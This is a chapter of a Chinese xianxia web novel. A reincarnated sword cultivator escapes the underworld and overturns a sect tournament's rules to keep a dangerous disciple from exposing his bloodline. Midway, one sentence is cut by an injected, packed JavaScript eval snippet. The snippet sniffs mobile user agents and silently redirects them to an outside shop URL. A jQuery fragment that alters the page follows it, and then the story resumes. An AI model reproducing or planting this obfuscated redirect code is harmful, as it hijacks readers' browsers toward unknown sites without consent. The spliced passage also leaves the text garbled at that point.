一片深蓝色的静谧水域之上,漂浮着一个女子。
她静静阖着眼,毫无依托般仰躺于粼粼水面,水波轻软托住她的身形,是二八少女的玲珑体态,乌发如泼墨长绸四散铺在深蓝水面,几缕湿软发丝贴在下颌与颈侧,衬得眉眼轮廓极致柔和,长睫纤长浓密,垂落两道浅淡阴影,不见半分锐利。
岚听月一身月白仙政长袍,衣袂缀着细碎星纹,随水波缓缓漾开,周身萦绕一层极淡的清金仙气,看似柔弱的少女皮囊,眉宇骨相间却藏着横贯万古的苍茫气度。
周身水流无风自动,环绕她流转出温润灵光,过往幻象在她脑海翻涌不息。
昆天山下,众人知她早是穷途末路,但却相互推诿着,不敢向上走去。那可是名震天下的第一剑修啊……就算灵气已尽,尚有不毁之身,谁知她会不会留有后手呢。
江淮北咬牙,怒声斥道:“那妖女就算有不灭之身又如何!我等人多势众,还怕擒不住她吗!妖女不除,必成大祸!”
众人面面相觑,终大喝一声,便齐齐向上冲杀而去。
而雪巅之上,她正攀上那少年的腰肢,试图蛊惑他为她送命,少年白玉般的脸颊上已经浮现出粉红,背在身后的手中却悄悄凝出一柄泛着青光的长剑……
他没有冲她的弱点而去,而是直直捅向胸膛,一剑穿心。
她竟不知,世间还有这样强悍锋利之剑,可轻易的像杀死一只蚂蚁一样,洞穿她的身躯。
心口处的痛感再次袭来,之后的画面变得越来越模糊,她只能看见一片被血染红的雪地上,他俯下身……
岚听月打了个冷颤。
阴湿男鬼实在太可怕了。
“哼!你也好意思说!拆散人家意中之人,废去人家一身修为,强取豪夺,折辱人家数百年,若不是你将人家逼成这样,人家性格能扭曲黑化成这样子吗!活该!”
尖细稚嫩的鬼声音响起,岚听月睁开眼,发现她到了一个全新的空间,水纹随着她起身抬头轻轻荡开,一个长着娃娃脸,独脚长舌的小鬼一脸鄙夷的看着她。
“岚听月!你可知今日为何会来此地?都是因为你罪孽深重!且等本官清算一二,定要将你依法论处!”
岚听月打量着他,那小鬼带着一顶长官帽,上书判官二字,帽的高度几乎比他的个头还要长些,看起来有几分滑稽。
原来是冥府的判官,那她的身下,应当是冥河了。
老头曾经说世间有六界,冥界在仙魔俱陨后便悄无声息,不再管束鬼怪,所以四洲才会有鬼怪横行。
罪孽深重?岚听月心底生出一丝冷嘲。若是论起罪状,这冥府倒是比她还会躲懒,四洲千年来,因为鬼怪作乱不知死了多少人,若是都下到这冥府来,怕是要将这冥河都填了去,她不信冥府不知。
知而不为,苟且偷生,冥府又该当何罪?
岚听月冷哼了一声,又躺了回去,颇有几分破罐子破摔的样子,有什么可算的,最坏无非就是将她打入畜生妖鬼道呗。
“你你你……大胆!竟然敢目无本官!待我算清你的罪状……”
见她这副模样,小鬼气的跳脚,将归盘和判薄啪地一声拍在桌上,指尖飞拨,一边噼里啪啦地拨动游珠,一边将判薄翻的哗哗作响。
岚听月就这样百般无聊地翘着二郎腿,随手扯下两枝绒花掩住双耳,口中衔着一茎不知从何处薅来的野草,闭目静养。
不知过了多久,她睡意沉沉,已然坠入梦乡。朦胧恍惚之中,肩头传来几番推触,耳边响起急切的呼唤。
“仙姑,快醒来呀…”
那人力道越来越大,不停地在她耳边吵嚷,仿佛很是急切。岚听月被这动静弄的十分烦躁。
往日她一人在太初峰上沉睡,峰顶寂静,无人打扰,偶尔有弟子来清扫,也皆是轻手轻脚。
忘记自己已经身处地府,她不耐烦地用手去推,谁知那人竟然这么弱不禁风,被她轻轻一挥,哎呦着滚了几个跟头。
岚听月一惊,连忙起身。原来是那个小鬼。
小鬼爬了起来,拍了拍衣袍,就要破口大骂,但话到了嘴边,又生生忍住了。
他脸上勉强挤出的笑里尚且带着怒容,配上那顶帽子,滑稽中又带了几分古怪。哒哒地迈着小腿跑过来,一把揪住岚听月的袖子,神色颇为谄媚。
“哎呀仙姑,你终于醒啦!我有个顶顶好的喜讯要告知你呢!”
岚听月无声地将袖子拽出来,嫌弃的掸了掸,眉毛一挑,示意他继续。
“仙姑仙姑,我刚才用算盘那么给你一拨!你猜我给你算出了什么?”小鬼憨笑着搓搓手说道。
他一脸得意洋洋,想卖个关子,但是岚听月并没有猜的兴趣,就要往回躺。
小鬼连忙拉住她,好不容易才将这尊大佛叫醒,若是让她再躺下去,又不知要过多少年月,到时候整个世界别说尚存的三界,就连他这冥府也要被她那个疯子徒弟毁掉!
"你那洪荒一剑保了三界数百年的的太平,此乃大功一件。如此算来,你尚有一功未抵,可助你重生,回到三界之内!”
岚听月微微蹙眉,重生?若只是重生这么简单,这小鬼怎会如此谄媚。她不动声色,等着他说下文。
小鬼见她不好糊弄,只好道出实情:
“但是需要你重生回去,将四洲各处的祸乱肃清。这可都是因为你的身死,导致三界平衡被打破才造成的。而且你那个徒弟四处寻你魂魄不得,快要将三界都翻遍了。你若再不回去,他便要杀到冥界来,连我这小庙也要遭难呀。”
怎么,他都把她捅穿了还不放过她,连她魂魄也要不放过吗……看来是真的恨极了她,岚听月沉默。
小鬼越说越觉得自己可怜,就开始装哭,吧嗒吧嗒挤了两滴眼泪,鼻涕泡都冒出来,演的倒是生动,一遍摸泪,一遍借着衣袖的缝隙瞥她,见她还是一副事不关己的样子,哀嚎道:
“仙姑,你这么人美心善,一定不会弃三界于不顾的对不对?”
“三界负我,何以相救?岚无能,也无心相救。”岚听月冷着脸,淡然的回应道。
小鬼一时噎住,愣怔了良久,尚才嗫喏道。
“当初仙魔浩劫之前,我尚且年幼…府君为阻止六界破灭奋不顾身之时,我也曾问过同样的问题。”这次他眼泪流了出来。
“府君讲,不为六界,也不为苍生,为心中之道。众人负你,是谓众人愚。可世间尚有忠义赴死之人,尚有敢为你仗义执言的人。难道这些,你就能全然不顾了吗?
素来听闻你是三界四洲天下第一剑,如今看来也不过是个窝囊懒散、苟安避世、沉溺怨怼、罔顾道义的懦夫!”
他越说越激动,已经是口不择言。
心中之道……一幕幕画面闪过她脑海:玉京街头挺身而出的少年,浴血护守宗门的师兄,被魔气残害依旧拼死为她送出生路的江寒舟。
金光闪现,莲台冲破冥河浊浪,缓缓浮升,原本淡然立于水中之人,已经悬在空中,金纹自眉心舒展。神魂深处,万剑齐鸣。伴随她千年的剑意,在桎梏中苏醒。压在神魄外层的枷锁寸寸崩裂,碎作漫天金色星点。
原本尚且半凝的婴体如今逐渐凝为实体,不过无意中的四个字,却使她从元婴中期一步到了元婴后期。
竟然就这么进阶了?!小鬼心中惊诧,缓缓抬手接住那散落的星点。
金屑落入手心,灼痛骤然炸开,那细碎金光生生在他胖乎乎的手掌上蚀出数个细小孔洞,黑气顺着伤口丝丝往外渗。他指尖猛地一缩,不动声色将负伤的手背到身后,藏进宽大判官袍袖里。抬眼遥遥望向凌空莲台,方才的惊色缓缓褪去,唇角悄悄勾起一抹意味深长的笑。
“要我归位,未尝不可。但你须将构陷我的幕后之人,据实相告。”
金光收敛,她静悬于冥河上空,眼底已褪去方才的淡然,只剩决绝。
幕后究竟是何人暗害于她?江雪生一个废人的剑如何能轻巧的穿透她的胸膛?那些罹难弟子身上,为何留有老头四字:天命害我。
疑云重重,她岚听月,绝对不能就这样不明不白地死去。幕后的真相,血债因果,她要他们血债血偿!
“哦?你如今修为再进,在它面前,依旧不堪一击。便是你师父在世,亦要退避三舍。你要寻仇,不过自取覆灭。”他语气里带着几分不屑,指尖轻轻弹了弹案边生死簿,像是在判定一桩早已注定的结局。
岚听月只淡淡一笑。
“祸既加于我,便没有置之不理的道理。若世道只许逆来顺受,那我便做这局外之人!”
“好!三界之外,它,不是你我可妄议之人,再多事情,我无法告知于你。你只需知晓,祸乱所在之处,有你想要线索。”
“好。”那她便亲自去探探,三界之外又如何,深不可测又如何,天要亡我,那便将天都捅破!
岚听月阖眸,霎时间清风拂过,带走最后一丝平静。
泥尸翻滚,墨浪溯奔,枯骨浮沉。引渡万千亡魂奔赴轮回万古向西的冥河,违背万古天道,滔滔逆流而上。她的神魂被这河水嘶吼拉扯,周遭一切陷入混沌。
再睁眼,檀香刺鼻。
怎么会传送回今日?岚听月皱眉,打量周身,此处乃登仙台侧殿内,远处登仙台上已是人声鼎沸。一声弟子的唱喏声赫然在耳边炸开——
“根骨测验已毕!请诸位弟子登台抽签!”
不好!岚听月猛地坐起,足尖一点,折枝为剑,瞬息掠出殿门。
上一世,江雪生便是在此次大比险些被对方打下擂台,狂暴之下使出鬼修之术,才暴露血脉。这一世,她绝不能重蹈覆辙,再收他为徒!
玄青宗主殿之下,层层白玉台阶绵延而下,直通那座巨大无伦的登仙台。台体玄冰为骨、青云作面,数百弟子列于台上,静静等待抽签结果,外围各宗观礼修士层层围拢,偌大高台已是水泄不通。
年幼的江寒舟坐在首位,下首坐着四位长老,分掌执法、丹药法器、任务分配、弟子课业四大宗门事务。
随着最后一队抽签结果的公布,负责唱喏的弟子唇齿微张,正要高声宣布大比开始。忽有一道声音破空而来,轰然落入场中,满堂嘈杂瞬间为之一滞。
“且慢!”
未见其人,先闻其声,太初峰上,剑鸣清越响彻群山,流云被剑势尽数劈开,青白玉色道袍迎风漫卷,女子足踏梅枝,身姿立于云海之巅,眉眼淡漠疏离,一双眸子似盛着万古寒潭,周身则萦绕淡淡清辉,威压沉沉笼罩整座登仙台。
所有人呼吸一滞,纷纷抬首仰望。
直至首座上神色紧绷的小宗主江寒舟眼底迸出喜色,快步起身,向着云海之上躬身一拜,声音清亮传遍四方:“见过师叔祖!”
全场这才恍然大悟,眼前这位女子,便是那位传说中的三界四洲第一剑修!四下顿时响起低低的骚动,各宗来客交头接耳,目光尽数锁在那道悬于半空的身影上。
岚听月衣袂轻振,踏着流云缓缓落至高台之上。她目光扫过台下,精准落在末位那个穿着黑色破旧衣衫的少年身上。他安静站着,此时还是人海中不起眼的尘粒。
岚听月心口骤然一缩,钝痛倏然翻涌而上。她移开目光,坚定开口说道:
“今日既是选拔门内弟子,关键之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941870|213940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
处便是考察其功底,不若改一下规则,以宗内法术为限,当堂斗法,优劣高下,一眼便知。”
临时改规则?一语落下,顿时掀起轩然大波。
江寒舟却像没事人一般,欢喜地将小胖手伸到这位师叔祖的手中,将她引到紧邻主位的案几旁。
岚听月垂眸看向眼前是圆润的少年,记忆闪过前世他血染大殿的模样,心头微沉。
但此时,不是感慨的时候。尚未落座,一道厉声当即响起。
执法堂长老姜玉山跨步出列,眉峰紧蹙,声音掷地有声,刻意叫周遭宾客尽数听见:
“岚师叔,大选旧规传承数代,岂能临时擅改?如此行事,难服众人,何谈公允!”
他眸中闪过狠绝,他算得上长老中资历最老,先宗主离世,除了这位师叔,他本最有资格承继宗主之位,谁知宗主人选却最终落入了一个嫡系的小辈手里,这让他如何甘心?
此次大选他早已暗中谋划许久,就等着借此一举夺权,绝不能让这半路跑来的师叔破坏了他的筹划!
等的便是他这句话,岚听月勾了勾唇。
“公允?”她语调清淡,却穿透力十足。
“我今日所议,正是求一份公允。众弟子出身不同、机缘有别,不少人身负世家传承,起点天差地别。以此相斗,本就谈不上公正。限定只施宗门术法,摒除家世捷径,以玄青心法论高下,方能择真正向道之人。”她之间轻点台面。
"岚听月!别以为你辈分高就可以为所欲为,大选之事历来由长老会共议,岂容你一人决断!”
岚听月话尚且未说完,便被另一个人打断。她冷冷地看向那人。
“江寒舟。”
“寒舟在此!”江寒舟应声上前,垂首而立。
岚听月衣袖挥动间,袖中半枚古朴玉符滑出,玉质苍青,边缘有一道齐整断裂的豁口。
“玄青宗宗规第二百七十五条是何内容?”
“老祖为防长老擅权,特设玄青令,一分为二。半符留于师叔祖一脉,半符传历代宗主。两符合一,可裁大典、修订规制,长老会不得阻拦。”
说完,他抬手自颈间解下另一半玉符。两半玉符凌空相触,豁口严丝合缝,微光顺着玉纹流转,一枚完整玄青令悬浮于高台之上,清辉漫开,压得周遭空气一沉。
江寒舟站在岚听月身侧,往日隐忍之色尽数褪去,目光直直迎上殿中一众长老,声线清亮:“玄青令条文在此,诸位长老,莫非要违背老祖遗训?”
殿中哗然,有人失声低叹:“玄青令!竟然真有此物!”
一众长老面色铁青。他们素来将江寒舟视作可随意摆布之人,本想诱他帮长老会辩驳,不料他竟与岚听月同站一处。心下暗骂道:无知小儿!
然而被他们视作无知小儿的江寒舟噙着笑,眼中闪过狡黠的微光,佯作为难地说道:
“诸位叔伯,若论宗门规矩,我记得入宗首戒便是遇长者须行礼。方才师叔祖驾临,诸位长老未行问礼。今日各宗道友在此,诸位身为尊长,当以身作则,可不能让人家觉得我们玄青宗不成体统呀。”
“你!”行礼?往日见了宗主,他们也不过是含糊一下便过去,现在却被这无知小儿当众指出,要他们堂堂玄青宗长老,众目睽睽之下卑躬屈膝,简直是颜面尽失!日后,还拿什么训诫小辈!
恼羞之下,几人暗中飞快交换眼神,齐齐转头望向殿下几大世家,意欲煽动舆论,借众口诘难,逼岚听月收敛锋芒,却不想早被人看穿。
“诸位多番阻拦,难道是有什么利害在其中不成?”岚听月悠然开口。重生一遭,妙便妙在此处:凭着前世记忆,方便她清理门户。
其余三人心中一惊,他们摸不准岚听月只是随口试探,还是已然洞悉他们私收入选世家贿赂的秘事。
但若此事被当众捅破,他们几人别说长老之位难保,便是修为被废也在情理之中。面面相觑,他们皆从对方脸上看出了几分惶恐、愤恨和无奈,只能咬牙后退了一步,规规矩矩地朝岚听月拜了一礼。
唯有姜玉山僵在原地,脸色已是铁青,他早已告诫众人不可贪小利,谁知几人瞒着他私受贿赂,还留下未清除的把柄。
事到如今,大势已去。他死死攥紧袖中拳头,纵有万般不甘,也只能强忍怒火,规规矩矩向她行礼:“见过岚师叔。”
“好!”
“岚前辈大义!”
“玄青宗不愧是第一大宗啊!”
随着姜玉山俯首,大殿之下,登仙台上,数万普通修士已是呼声一片。
自修仙世家崛起,阶层壁垒日益深重。寻常修士想要拜入顶级宗门的门路本就愈发狭窄,如今玄青宗愿出头,为他们争来一份公平入道的机会,众人自然由衷称颂。
“玄青宗大比,正式开始!”声落风起,云海舒展,百名弟子肃然躬身,齐声行礼,音浪浩荡,响彻登仙台。
大殿之上,广袖一敛,裙裾沉落,岚听月稳然落座。目光淡淡掠过下首神色僵冷的几人,随即垂眸,长睫轻掩,眸底静澜之下,暗流涌动。
上一世,江雪生便是在此次大比中因为险些被对方打下擂台,狂暴之下使出鬼修之术,才暴露血脉!
今世她提前改动规则,倘若江雪生擅用门外之术,便可以直接出局。就算他侥幸跻身前列,血脉未曾暴露,也必然被那几个长老觊觎。
她取过茶盏,以盖轻轻刮过盏沿,撇去浮沫,浅抿一口。
然而大殿之下,一道目光穿透云雾,如潮湿青苔般攀附缠绕,沉沉落在她身上。黑色兜帽之下,略显苍白的唇微微勾起——原来,她也回来了呢。